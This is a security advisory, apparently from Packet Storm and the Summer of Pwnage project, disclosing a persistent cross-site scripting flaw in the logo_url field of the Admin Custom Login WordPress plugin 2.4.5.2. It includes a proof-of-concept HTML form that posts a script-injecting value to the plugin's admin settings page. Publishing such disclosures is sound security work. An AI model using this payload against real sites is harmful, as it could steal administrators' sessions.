WordPress Admin Custom Login 2.4.5.2 Cross Site Scripting

2017-03-01T00:00:00
ID PACKETSTORM:141381
Type packetstorm
Reporter Securify B.V.
Modified 2017-03-01T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Admin Custom Login WordPress plugin affected by persistent Cross-Site  
Scripting via Logo URL field  
------------------------------------------------------------------------  
Burak Kelebek, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A persistent Cross-Site Scripting vulnerability has been encountered in  
the Admin Custom Login WordPress plugin. This issue allows an attacker  
to perform a wide variety of actions, such as stealing Administrators'  
session tokens, or performing arbitrary actions on their behalf. The  
"logo_url" field does not validate <script> tags and does not perform  
output encoding.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160712-0002  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was succesfully tested on the Admin Custom Login WordPress  
plugin version 2.4.5.2.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
There is currently no fix available.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.html  
  
As an admin, it's possible to upload a logo on the login page. The "logo_url" field does not validate <script> tags and does not perform output encoding.  
  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST">  
<input type="hidden" name="Action" value="logoSave"/>  
<input type="hidden" name="logo_image" value="http://<target>/wp-content/uploads/2016/06/scriptalert1script.jpeg"/>  
<input type="hidden" name="logo_width" value="200"/>  
<input type="hidden" name="logo_height" value="60"/>  
<input type="hidden" name="logo_url" value=""><script>alert(1)</script>"/>  
<input type="hidden" name="logo_url_title" value="\\\\"/>  
<input type="submit"/>  
</form>  
</body>  
</html>  
  
After this request is executed, re-open the admin panel of WordPress and visit the Admin Custom Login page.   
  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`